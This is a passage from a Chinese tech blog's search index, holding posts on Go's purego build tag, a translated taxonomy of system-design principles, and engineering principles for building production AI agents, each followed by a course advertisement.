cgo 是正交的。是否使用 Cgo 应由 cgo 标签控制。 purego 不常规地影响 unsafe 包的使用。可移植的 unsafe 用法是被允许的。 对 Go 开发者的影响 这个决议对于 Go 生态系统意义重大：\n为库作者提供了清晰的指导：当你的库同时包含汇编优化版本和纯 Go 实现版本时，purego 是官方推荐的、用于在两者之间切换的标签。 为 Go 的替代实现铺平了道路：像 TinyGo 这样的编译器现在可以自信地默认设置 purego 标签，从而无缝地使用标准库和第三方库中提供的纯 Go 后备代码，而不用担心会意外地禁用它们所支持的 unsafe 或 cgo 功能。 提升了测试的便利性：开发者可以在拥有汇编优化的平台（如 amd64）上，通过 -tags purego 来方便地测试和调试纯 Go 的实现版本。 结论 purego 标签的标准化之路，是 Go 社区在实践中不断探索、辩论并最终达成务实共识的又一个经典案例。它表明，一个健康的语言生态不仅需要顶层设计，更需要在真实世界的需求碰撞中，不断澄清和完善其约定。通过为 purego 赋予一个清晰、专注的定义，Go 语言再次为其跨平台、跨实现的承诺，奠定了一块坚实的基石。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/01/proposal-purego/","summary":"\u003ch1 id=\"purego-标签到底是什么意思一场长达六年的社区辩论终于有了定论---tony-bai\"\u003epurego 标签到底是什么意思？一场长达六年的社区辩论终于有了定论 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"purego 标签到底是什么意思？一场长达六年的社区辩论终于有了定论"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/31/periodic-table-of-system-design\n大家好，我是Tony Bai。\n近日，一篇名为《系统设计的元素》（Elements of System Design）的论文引发社区热议。它的目标宏大且吸睛：通过梳理上百篇横跨操作系统、数据库、分布式系统等领域的经典论文，提炼出一套通用的系统设计原则“元素周期表”。\n这份“周期表”的价值，不在于提供一套死板的规则，而在于为我们提供一套共享的词汇和心智模型。它能帮助我们更清晰地思考、更精确地沟通、更深刻地理解不同系统设计背后的内在联系。\n下面便是该论文的中译版，希望能给大家带去启发。\n系统设计通常通过特定领域的解决方案来传授，例如数据库、操作系统或计算机体系结构，每个领域都有其自成一派的方法和术语。虽然这种多样性是一种优势，但它也可能掩盖了跨领域反复出现的共通原则。本文提出了一个从计算机系统多个领域中提炼出的系统设计原则的初步分类法。其目标是提供一套共享、简洁的词汇，以帮助学生、研究人员和实践者对系统结构和权衡进行推理，跨领域比较设计，并更清晰地沟通设计选择。\n引言 投身于计算机系统领域的一大乐趣在于其纯粹的多样性，它涵盖了操作系统、数据库、计算机体系结构、分布式系统、编程语言、网络等众多分支，每个分支都有着丰富的历史。对于初学者来说，由于传统和词汇的多样性，要发现不同领域之间的联系可能颇具挑战：相同的设计原则可能会以不同的面貌出现在不同的领域中。\n例如，思考一下 Jim Gray 等人关于数据库隔离级别的经典论文。它仔细阐述了并发控制机制以及在正确性和性能之间的权衡。然而，如果没有在操作系统或计算机体系结构领域接触过类似问题，这些思想可能看起来仅仅是狭隘地“关于数据库”的。实际上，相同的设计原则，“放宽一致性”，以不同的形式在各种系统中反复出现，从弱顺序内存层次结构到分布式系统中的最终一致性协议。当每个社区都使用自己的术语和范例时，初学者可能很难识别出底层的设计原则。这种碎片化增加了认知开销，因为同一个权衡必须在每个上下文中重新学习。\n这是一个更广泛的模式：系统研究富含实践洞见，但在共享的概念性支架上则较为薄弱。在各个领域中，类似的挑战反复出现，如管理并发、确保一致性和适应变化，而其框架和词汇却常常不同。因此，看似毫不相关的领域之间的深层联系可能仍然相对模糊。\n本文是朝着弥合这些差距迈出的一小步。借用门捷列夫的比喻，我们提出了一个反复出现的系统设计原则的“元素周期表”。其目标并非一个僵化的分类法，而是一个可用的词汇表：一种用以标注论文、讲座和设计文档中所采用的基本原则的简洁方式。其目的是揭示计算机系统中已经存在的结构，以便学生能形成更连贯的心理地图，研究人员能精确定位其贡献，而实践者能以更高的清晰度跨领域讨论设计选择。\n方法论 我们通过回顾操作系统、计算机体系结构、数据库、网络、编程语言、安全以及计算机系统其他领域的 100 多篇有影响力的论文来识别这些原则。这些论文因其历史意义和持续的相关性而被选中，例如关于并发控制 和共识 的经典论文，以及关于在系统内部使用机器学习 和为云设计系统 的近期工作。\n对于每篇论文，我们都问：其底层的高层设计原则是什么？在不同领域中，独立的系统常常不是在机制上趋于一致，而是在共享的设计原则上：例如，通过放宽一致性来提高性能，或通过提升抽象来增强可用性。\n要被认定为一条系统设计原则，它必须满足两个条件：\n抽象性 – 该原则必须独立于具体的技术或实现。 通用性 – 该原则必须在不同领域中出现（例如，数据库系统、操作系统、编程语言）。 本分析旨在梳理出许多具有持久、通用价值的原则，而非对所有原则进行编目。\n设计原则表 我们整理了一套结构化的、包含 40 多个从系统文献中提炼出的通用设计原则。如下图所示，它们被组织成反映了系统设计中常见维度的不同主题组。\n图例： Code = 唯一短符号, Name = 原则名称, Intent = 简短描述。\n每个原则都带有一个简短的符号（例如，Co 代表可组合性，Op 代表乐观设计）以便快速参考。我们强调设计意图而非规定具体机制：这些原则阐述的是诸如“在并发下保持正确性”或“优先处理普遍情况”等目标，而不是“使用此锁定协议”或“优化此查询计划”，具体的实现则留给特定领域。\n目录 Group 1: 结构: 如何用清晰的边界和扩展点来切分和连接组件。 Group 2: 效率: 通过将精力集中在有回报的地方，来减少工作或降低成本。 Group 3: 语义: 精确地指定行为和接口。 Group 4: 分布: 在分布式架构中协调工作和数据。 Group 5: 规划: 根据目标、成本和约束自动选择方案。 Group 6: 可操作性: 在最小化中断的情况下观察、适应和演进运行中的系统。 Group 7: 可靠性: 在故障、并发和部分失效下保持正确性。 Group 8: 安全性: 约束权限和强制隔离以保护安全和完整性。 Group 1: 结构 Si – Simplicity (简单性)\n选择满足当前需求的最简单的系统设计；抵制复杂性，例如“以防万一”而增加的额外层次、服务或通用性，直到有证据表明其有益。\n示例： 避免对系统进行过早的架构优化。\nMo – Modularity (模块化)\n将系统划分为具有最小化接口的高内聚单元，以便每个单元都可以被独立地推理、替换或演进。该原则专注于分解：选择边界以促进关注点的清晰分离，使每个职责都位于一个模块内。\n示例： OSI 模型将通信分解为具有明确边界的标准化层次，允许独立开发和替换。\nCo – Composability (可组合性)\n设计可被安全、灵活地重新组合的组件；依赖显式的合约和类型约束的接口，以使每个合法的组合都保持正确，让组件能像可互换的积木一样被组装。与模块化不同，该原则专注于重新组合：确保组件可以安全、灵活地结合。\n示例： Unix 程序（如 grep, sort, uniq）从标准输入读取并写入到标准输出，让用户可以组合复杂的文本处理管道。\nEx – Extensibility (可扩展性)\n设计系统以允许安全的用户自定义扩展，例如插件，而无需修改系统核心。当扩展来自不受信任方时，通过沙箱进行隔离以保护安全。\n示例： Unix 也体现了可扩展性：用户可以添加新程序而无需更改内核。\nPm – Policy/Mechanism Separation (策略与机制分离)\n通过暴露一个通用接口，将“应该做什么”（策略）与“如何执行”（机制）分离开来，使得多种策略可以插入到同一个机制中。\n示例： Hydra 拥有一个通用机制的内核（调度、分页、保护），并将资源分配策略移至用户级模块。\nGr – Generalized Design (通用化设计)\n设计一个具有明确变化点（如类型、可调参数或插件）的单一核心，使其可以在不产生重复的情况下服务于多种用例，但当特化能带来性能、准确性或清晰度的显著提升时，则进行特化。\n示例： C++ 标准模板库是一组通过模板参数化的容器、迭代器和算法的集合。Postgres 允许用户向核心数据库系统添加类型和操作符。\nGroup 2: 效率 Sc – Scalability (可伸缩性)\n设计系统以应对数据、流量或节点的增长，同时保持成本或延迟的近线性增长。\n示例： MapReduce 通过将工作分解为并行任务并以最小的协调来聚合结果，从而在节点间进行扩展。\nRc – Reuse of Computation (计算复用)\n通过缓存、物化中间结果（例如索引），或在重复或稍作修改的输入上增量更新输出来避免冗余工作，从而节省计算。\n示例： B+树复用其已排序的键顺序：查找遵循现有的搜索路径，而不是每次重新扫描整个数据集，从而复用了计算。\nWv – Work Avoidance (工作规避)\n跳过不会改变外部可观察结果的计算。例子包括惰性求值和谓词短路。\n示例： 惰性求值将工作推迟到值被需要时才执行，从而消除了无用的计算。\nCc – Common-Case Specialization (普遍情况特化)\n检测主导运行时的执行路径或数据项（“热点”），并专门为它们创建一个精简的快速路径，同时用一个较慢的通用路径来正确处理所有情况。\n示例： 在首次调用时缓存接收者类的目标方法，这样后续对该普遍接收者的调用将命中快速路径；不常见的类则回退到完整的方法查找例程。\nBo – Bottleneck-Oriented Optimisation (瓶颈导向优化)\n对端到端性能进行剖析，定位最紧张的资源约束，并在此处集中改进，直到另一个阶段成为限制因素。\n示例： 罕见的第99百分位延迟的长尾请求是延迟瓶颈，而复制请求有助于削减尾部响应时间。\nHa – Hardware-Aware Design (硬件感知设计)\n根据底层硬件的延迟、带宽、并行性和持久性特性（例如缓存层次、NUMA、SSD、GPU）来塑造算法和数据结构。\n示例： BLAS 定义了经过缓存和向量优化的内核，使线性代数代码能高效利用硬件。\nOp – Optimistic Design (乐观设计)\n假设普遍情况会成功并继续执行，跳过协调，仅在假设被证明错误时才依赖一个（可能昂贵的）恢复路径。\n示例： 乐观并发控制无锁地运行事务，然后在提交时进行验证，仅在检测到冲突时才回滚。\nLa – Learned Approximation (学习式近似)\n用在数据上训练的模型替换手工制作的算法，以牺牲有界的不精确性来换取效率或灵活性。\n示例： 感知器分支预测器在线学习权重以预测分支结果，其性能优于固定的两位计数器，且无需扩大表的大小。\nGroup 3: 语义 Al – Abstraction Lifting (抽象提升)\n将底层操作封装在一个更高层的接口或领域特定语言之后，该接口表达的是意图而非步骤。这使得内部优化成为可能，也允许单一的定义能针对不同的后端。\n示例： SQL 查询声明要检索的结果；DBMS 自动选择访问路径、连接顺序和物理操作符。\nLu – Language Homogeneity (语言同质性)\n在核心组件和扩展中采用单一、良定义的中间表示（或语言），从而使语义对齐、工具可组合，并以最小的努力实现跨层优化和复用。\n示例： LLVM 暴露了一个基于类型和SSA的IR，许多前端以此为目标，许多后端也共享它，从而实现了跨语言优化和相同中间端遍的复用。\nSe – Semantically Explicit Interfaces (语义明确的接口)\n精确地指定一个接口（涵盖效果可见性、顺序、持久性等），以便用户可以对调用的真实外部可观察状态进行推理，而无需猜测隐藏的缓冲或复制。\n示例： SQL 隔离级别指定了精确的异常语义，并明确了可见性保证。\nFs – Formal Specification (形式化规约)\n使用数学模型或逻辑来描述系统行为，以支持严格的推理、验证或综合。实现此原则的机制包括时序逻辑、状态机以及其他使系统属性可分析的形式化方法。\n示例：TLA+展示了如何使用逻辑和集合论来规约和检查系统，以便在编码前捕获设计错误。\nIg – Invariant-Guided Transformation (不变量驱动转换)\n使用形式化声明的不变量来驱动安全的重构、优化或重新配置。\n示例： 在编译器中，SSA 将“每个名称只有一个定义”视为 IR 不变量；各个遍在重写代码时保持语义，然后重新建立 SSA。在查询优化器中，关系代数等价（例如，选择/投影下推）保持结果的语义。\nGroup 4: 分布 Lt – Location Transparency (位置透明)\n隐藏资源的物理位置，以便客户端通过统一的名称或句柄进行交互。\n示例： 程序可以像调用本地过程一样调用远程过程，从而掩盖了主机的地理位置。\nDc – Decentralised Control (去中心化控制)\n将决策权分散到多个节点，以避免单点故障或瓶颈。\n示例： Dynamo 通过一致性哈希对数据进行分区，并使用基于 gossip 的成员关系，从而避免了任何中央协调器。\nFp – Function Placement (功能放置)\n将功能放置在拥有必要上下文和资源的地方，以实现正确性和效率，避免在别处进行冗余工作。\n示例： 端到端论证表明，像可靠性检查这样的功能只有在端点才能实现其正确性。\nLo – Locality of Reference (引用局部性)\n将相关的数据和操作在时间和空间上彼此靠近，以保持访问模式并最小化计算与状态之间的分离。\n示例： 工作集模型形式化了时间局部性，以将热点页面保留在内存中。\nGroup 5: 规划 Ep – Equivalence-based Planning (等价规划)\n在保持语义等价的通用IR上应用代数/逻辑重写规则；将最终选择推迟到后续的成本/约束阶段。\n示例： Starburst 的基于规则的重写系统应用关系等价（例如，谓词下推）来生成逻辑上等价的查询。\nCm – Cost-based Planning (成本规划)\n当系统必须在备选的设计、配置或执行策略中做出选择时，使用成本模型来指导搜索，以找到低成本的解决方案（能源、金钱等），而无需枚举整个空间。\n示例： Selinger 查询优化器在一个成本模型下选择成本最低的计划。\nCp – Constraint-based Planning (约束规划)\n将决策和硬性或软性约束进行编码，并依赖一个求解器（ILP/SMT等）来找到一个可行或最优的分配方案。\n示例： Quincy 将集群调度问题建模为带有局部性和公平性约束的最小成本流问题，并求解以获得分配方案。\nGd – Goal-Directed Planning (目标导向规划)\n接受对期望最终状态的声明性描述，并自动合成一个具体的操作序列来达到它，从而将用户与实现细节隔离开来。\n示例： Cascades 查询优化器通过基于规则的转换和成本引导的搜索，将一个 SQL 查询（目标）转化为一个可执行的计划。\nBb – Black-Box Tuning (黑盒调优)\n当分析性的成本模型不可用时，通过在目标系统上测量候选方案来搜索计划/配置空间，迭代地选择更好的方案（例如，启发式或贝叶斯搜索），并缓存胜出者。\n示例： ATLAS 在目标 CPU 上凭经验对候选的 BLAS 内核配置进行计时，并固定性能最佳的参数，而无需分析性的成本模型。\nAh – Advisory Hinting (建议性提示)\n提供非强制性的提示，系统可以利用这些提示来提高性能，但不会改变正确性或需要强制执行。\n示例： Lampson 提倡使用可选的“提示”，这些提示有助于提高性能，但如果被忽略，绝不能影响正确性。\nGroup 6: 可操作性 Ad – Adaptive Processing (自适应处理)\n监控运行时条件，并自动调整参数或策略。\n示例： Eddies 根据反馈在运行时持续地对查询操作符进行重新排序，在不停止执行的情况下进行适应。\nEc – Elasticity (弹性)\n根据不断变化的需求和成本目标，自动调整资源分配。例子包括预测性自动伸缩和负载整形。\n示例： Chase 等人根据负载和效用动态地配置服务器，体现了弹性资源管理。\nWa – Workload-Aware Optimisation (负载感知优化)\n持续观察工作负载的形态（倾斜、局部性、访问频率等），并调整数据布局、算法选择或资源分配以匹配当前模式。\n示例： 数据库“cracking”技术根据查询谓词增量地重组列数据，从而使数据布局持续地适应观察到的工作负载。\nAu – Automation and Autonomy (自动化与自治)\n让系统无需人工干预即可执行常规或响应式任务，通常通过从追踪或用户提供的示例中学习来实现。\n示例： AutoAdmin 从工作负载追踪中自动推荐索引/物化视图 [7]。通过示例编程的系统通过从少数用户提供的示例中进行泛化来自动化任务。\nHo – Human Observability (人类可观测性)\n暴露系统的内部状态，如指标、追踪、计划，以使系统有意地变得透明；这种透明度提高了可观测性、调试、内省和控制能力。\n示例： Paxson 的端到端互联网数据包动态分析展示了丰富的测量和追踪如何实现有根据的调试和调优。\nEv – Evolvability (可演进性)\n设计系统使其能在最小化停机时间或重写成本的情况下进行变更，且不破坏现有客户端的外部合约或可观察行为。与让外部人员通过定义的钩子点添加新行为而不触及核心的可扩展性不同，可演进性让系统内部随时间变化而不会破坏现有的外部合约。\n示例： Parnas 展示了模块化设计如何使系统更容易在不进行颠覆性重写的情况下进行扩展。\nGroup 7: 可靠性 Ft – Fault Tolerance (容错性)\n设计系统使其在组件故障时仍能继续运行，尽管可能以一种降级的形式。\n示例： Gray 对计算机为何停止运行的分析表明，复制和自动重启让服务能够在硬件和软件故障中持续运行。\nIs – Isolation for Correctness (隔离以保正确)\n防止组件间的意外干扰，从而使局部推理保持有效。\n示例： 两阶段行级锁定阻止一个事务读取或覆盖另一个事务未提交的数据，从而保持隔离保证。\nAt – Atomic Execution (原子执行)\n将多个操作组合在一起，使其表现为不可分割的，要么全部生效，要么全不生效。\n示例： 使用事务性内存，事务内的内存操作会进行推测性执行，然后原子性地提交；如果发生任何冲突或故障，整个块将中止，不留下任何部分状态。\nCr – Consistency Relaxation (一致性松弛)\n为提高性能、可用性或并发性，在有文档记录的边界内，刻意放宽强一致性或顺序约束。\n示例： Bayou 允许移动客户端在断开连接时更新副本，并保证在副本重新连接时最终会趋于一致，这是用严格的一致性换取离线可用性。\nGroup 8: 安全性 Sy – Security via Isolation (隔离以保安全)\n强制执行严格的边界，使故障或恶意代码无法影响其他组件。\n示例： 一个正确的虚拟机监视器为每个客户机呈现一个完整、隔离的机器，并拦截特权操作，防止一个客户机危及其他客户机或宿主机。\nAc – Access Control and Auditing (访问控制与审计)\n定义权限，并记录每次访问以备问责。\n示例： Lampson 对访问控制列表、能力（capabilities）和审计追踪的分类法是现代安全机制的基础。\nLp – Least Privilege (最小权限)\n只授予完成任务所必需的最小权限，以缩小爆炸半径。\n示例： 对1988年互联网蠕虫的尸检报告显示，过度的权限让蠕虫得以传播，并促使了最小权限守护进程的广泛采用。\nTq – Trust via Quorum (法定人数信任)\n依赖多个独立参与者的一致同意，而非单一权威。\n示例： Paxos 算法将状态复制到一个多数法定人数中，这样即使少数节点崩溃或行为恶意，服务也能保持正确。\nCf – Conservative Defaults (保守默认值)\n发布时采用限制性的、安全的设置；让专家选择性地进入风险更高、速度更快的模式。\n示例： 采用“默认无访问”策略，每个保护机制都应只在明确授予时才允许访问。\nSa – Safety by Construction (构造即安全)\n通过代码或数据的结构设计，使整类错误变得不可能发生，而不仅仅是被检测到。\n示例： Rust 的所有权和借用检查器在编译时就防止了数据竞争和悬垂指针。\n案例研究 为了说明多个设计原则在实践中如何交织在一起，我们以关系数据库系统中从逻辑操作符计划到物理操作符计划的映射为例。\n数据库系统将声明性意图转化为可执行步骤（策略与机制分离）。 SQL 表达了“做什么”（抽象提升），并具有精确的语义（语义明确的接口）。 优化器首先使用代数等价来重写查询（等价规划）。 然后它使用成本模型来选择具体的物理操作符（成本规划）。 物理操作符通常针对底层硬件特性进行优化（硬件感知设计）。 谓词下推体现了工作规避，而索引则实现了计算复用。 建议性提示可以指导优化器，而较新的数据库系统增加了运行时重优化（自适应处理）、学习模型（学习式近似）和采样（Probabilistic Design，注：原文表格未列出此原则，但案例中提及）。 因此，数据库系统中从逻辑到物理操作符的映射，体现了多个设计原则如何共同作用，以高效处理声明性的SQL查询。\n局限性 任何试图组织像计算机系统这样广泛的领域的尝试都涉及到权衡。此表不是一份检查清单或一个普适的理论；它是一个共享的词汇表，旨在突出反复出现的原则并鼓励进行结构性反思。话虽如此，仍有几个局限性：\n正交性：原则之间可能重叠、相互加强或部分冲突；设计就是关于平衡这些张力。 主观性与粒度：推导和映射原则涉及判断；边界是模糊的，不同的读者可能会以不同的方式标记同一个系统，或以不同的方式解释同一个原则。 非形式化分类法：这不是一个完整或最小的设计原则集合。没有尝试从一个最小的核心推导出这些原则。 最终，此表是一种帮助学生更清晰地看到反复出现的设计原则，协助系统设计师更精确地沟通权衡，并帮助研究人员认识到他们的思想在更广阔的系统设计蓝图中所处位置的手段。\n结论 系统设计横跨不同的领域和词汇，这可能使共享讨论变得更加困难。我们继承机制，研究权衡，并建立直觉，然而用于描述底层思想的简洁术语并不总是唾手可得。这里提供的设计原则“元素周期表”旨在提供一种适度的通用语言，通过命名反复出现的思想，使其更容易被传授、比较和在其上进行构建。\n参考文献 [1] Ron Avnur and Joseph M. Hellerstein. Eddies: Continuously Adaptive Query Processing. In SIGMOD, 2000.\n[2] Rudolf Bayer and Edward McCreight. Organization and Maintenance of Large Ordered Indexes. Acta Informatica, 1972.\n… (请参考原文中的详细参考文献列表) …\n[48] Hubert Zimmermann. OSI Reference Model – The ISO Model of Architecture for Open Systems Interconnection. IEEE Transactions on Communications, 1980.\n如何引用 如果您觉得本分析有用，请按如下方式引用：\nJoy Arulraj. Elements of System Design arXiv preprint arXiv:TBD, 2025.\n论文地址：https://github.com/jarulraj/periodic-table\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/31/periodic-table-of-system-design/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/periodic-table-of-system-design-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/31/periodic-table-of-system-design\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/31/periodic-table-of-system-design\"\u003ehttps://tonybai.com/2025/07/31/periodic-table-of-system-design\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，一篇名为《\u003ca href=\"https://github.com/jarulraj/periodic-table\"\u003e系统设计的元素\u003c/a\u003e》（Elements of System Design）的论文引发社区热议。它的目标宏大且吸睛：通过梳理上百篇横跨操作系统、数据库、分布式系统等领域的经典论文，提炼出一套通用的\u003cstrong\u003e系统设计原则“元素周期表”\u003c/strong\u003e。\u003c/p\u003e","title":"系统设计的“元素周期表”：40个横跨所有领域的通用设计原则"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/30/six-principles-production-ai-agents\n大家好，我是Tony Bai。\n随着 AI Agent 技术的兴起，许多开发者都投入到构建智能体的浪潮中，但很快就会发现，让 Agent 稳定、可靠地工作远非想象中容易。它们时而产生幻觉，时而偏离轨道，时而做出一些令人费解的“愚蠢”行为。最近，来自 app.build 的 Arseni Kravchenko 分享了他们在构建生产级 AI Agent 过程中总结出的六大核心工程原则。这些原则摒弃了虚无缥缈的“提示词黑魔法”，回归到坚实的软件工程基础。对于正在或计划使用 Go 构建 AI Agent 的开发者来说，这是一份宝贵的实践指南。\n原则一：投资你的系统提示 (System Prompt) 许多人对“提示词工程”持怀疑态度，认为它充满了“我奶奶快不行了，请帮帮我”之类的奇技淫巧。然而，作者指出，现代 LLM 真正需要的是直接、详细、清晰且无矛盾的上下文，而非情感操控。\n对于开发者而言，你要做的就是不要耍小聪明，要把系统提示当作给 Agent 的API 文档来写。\n当你为 Agent 提供一个通过 os/exec 调用的工具时，不要只告诉它工具的名字。在系统提示中清晰地说明：\n工具的完整命令是什么。 每个参数的含义、类型和格式。 预期的输出格式以及如何解析它。 前置条件和错误情况。 一个详尽的系统提示是 Agent 可靠行为的基石。\n原则二：拆分上下文 (Split the Context) “上下文工程”是比“提示词工程”更重要的概念。巨大的、单一的上下文不仅成本高、延迟大，还会导致模型出现“注意力衰减”，忽略掉关键信息。\n作者建议大家：默认只提供最少必要知识，并通过工具让 Agent 在需要时主动获取更多上下文。\n与其在初始提示中塞入整个项目的源代码，不如：\n提供文件列表：在提示中只给出项目的文件树结构。 提供 read_file 工具：让 Agent 在需要时，通过调用这个工具来读取特定文件的内容。 上下文压缩：在 Agent 的反馈循环中，主动使用工具（甚至另一个 LLM）来压缩和总结日志、工具输出等动态信息，避免上下文无限膨胀。 如上图所示，将一个庞大的任务分解为多个具有专注上下文的、可编排的子任务，是构建高效 Agent 的关键。\n原则三：精心设计你的工具 (Design Tools Carefully) 工具是 AI Agent 的核心。设计给 Agent 用的工具，比设计给人用的 API 更具挑战性，因为 LLM 不会“读心术”，它们会毫不留情地滥用你留下的任何漏洞。\n作者建议：把你的 Agent 当成一个聪明但容易分心的初级开发者，为它设计 API：\n保持粒度一致：工具（函数）应该有相似的抽象层次。不要混用一个 read_byte 和一个 deploy_to_kubernetes。 限制数量和参数：一个典型的工程 Agent 通常只有不到 10 个核心工具，每个工具只有 1-3 个严格类型的参数。 追求幂等性：尽可能让工具是幂等的，这可以极大地简化 Agent 的状态管理和错误恢复逻辑。 清晰、无歧义、无冗余：确保没有两个工具的功能是重叠的，这会让 LLM 感到困惑。 原则四：设计一个反馈循环 (Design a Feedback Loop) 一个没有验证和反馈的 Agent 是不可靠的。优秀的 Agent 系统总是将 LLM 的创造力与传统软件的严格性结合起来，形成一个“演员-评论家”（Actor-Critic）模型：让 LLM Actor 自由创造，让严格的 Critic 程序来验证。\n对于开发者来说，这是一个天然的优势领域！\nActor (LLM)：负责生成代码、配置文件或执行计划。 Critic：负责执行一系列自动化验证： 代码能否编译通过？ 代码能否通过测试？ 代码是否符合静态检查规范？ 领域特定不变量：例如，如果 Agent 修改了订单系统，是否依然满足“订单总价等于所有商品价格之和”这个业务规则？ 这个反馈循环不仅能过滤掉错误的输出，更是 Agent 学习和改进的基础。\n原则五：用 LLM 驱动错误分析 当 Agent 失败时，手动排查海量的日志是不现实的。我们可以构建一个“meta Agent”来解决这个问题，即让另一个 LLM 来分析失败 Agent 的日志，找出问题的根源。\n流程：\n建立一个基线版本的 Agent。 部署多个实例并收集它们的执行轨迹和日志。 将失败的日志喂给一个具有更大上下文窗口（如 Gemini 1.5 Pro）的 LLM进行分析。 根据 LLM 的分析洞察，改进基线 Agent 的系统提示、工具或上下文管理。 这个元循环能高效地发现我们自己可能忽略的系统性问题。\n原则六：令人沮丧的行为是系统问题的信号 当 Agent 做出一些“愚蠢”的行为，比如忽略你的明确指令，或者用一种奇怪的方式绕过问题时，我们的第一反应通常是“这个模型真笨”。\n但作者建议：先调试你自己的系统，再怪罪模型。\n作者分享了一个亲身经历：他明确要求 Agent 使用一个集成工具来获取数据，但 Agent 却固执地使用模拟的随机数据。在愤怒地检查日志后，他发现自己忘了给 Agent 配置正确的 API 密钥。Agent 尝试调用工具，连续失败，最后只能选择一个它能走的通的、但却是错误的路径。\n因此，当你的 Agent 行为异常时，请检查一下：\n工具是否缺失？ 它是否需要一个 write_file 的能力而你没有提供？ 提示是否模糊？ 你是否清晰地解释了工具的用法和边界？ 上下文是否充分？ 它是否因为缺少必要信息（比如一个 API 密钥或文件权限）而无法执行任务？ 小结 构建有效的 AI Agent，关键不在于寻找一个能解决所有问题的“银弹”提示或高级框架。它回归到了系统设计和严谨的软件工程。\n作为开发者，我们应该聚焦于：\n清晰的指令（通过系统提示） 精简的上下文管理（通过工具和压缩） 健壮的工具接口（简单、幂等、无歧义） 自动化的验证循环（编译、测试、静态检查） 当你被 Agent 的行为所困扰时，记住，问题很可能出在缺失的工具、模糊的提示或不足的上下文，而不是模型本身的局限性。将错误分析视为开发过程中的一等公民，我们的目标不是构建一个从不犯错的完美 Agent，而是构建一个可靠的、可恢复的、能够优雅地失败并被我们迭代改进的Agent。\n资料链接：https://www.app.build/blog/six-principles-production-ai-agents\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/30/six-principles-production-ai-agents/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/six-principles-production-ai-agents-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/30/six-principles-production-ai-agents\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/30/six-principles-production-ai-agents\"\u003ehttps://tonybai.com/2025/07/30/six-principles-production-ai-agents\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e随着 AI Agent 技术的兴起，许多开发者都投入到构建智能体的浪潮中，但很快就会发现，让 Agent 稳定、可靠地工作远非想象中容易。它们时而产生幻觉，时而偏离轨道，时而做出一些令人费解的“愚蠢”行为。最近，来自 app.build 的 Arseni Kravchenko 分享了他们在\u003ca href=\"https://www.app.build/blog/six-principles-production-ai-agents\"\u003e构建生产级 AI Agent 过程中总结出的六大核心工程原则\u003c/a\u003e。这些原则摒弃了虚无缥缈的“提示词黑魔法”，回归到坚实的软件工程基础。对于正在或计划使用 Go 构建 AI Agent 的开发者来说，这是一份宝贵的实践指南。\u003c/p\u003e","title":"你的 AI Agent 为何总“犯傻”？构建生产级 Agent 所需的6大工程原则"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/29/slog-multihandler\n大家好，我是Tony Bai。\n自 log/slog 在 Go 1.21 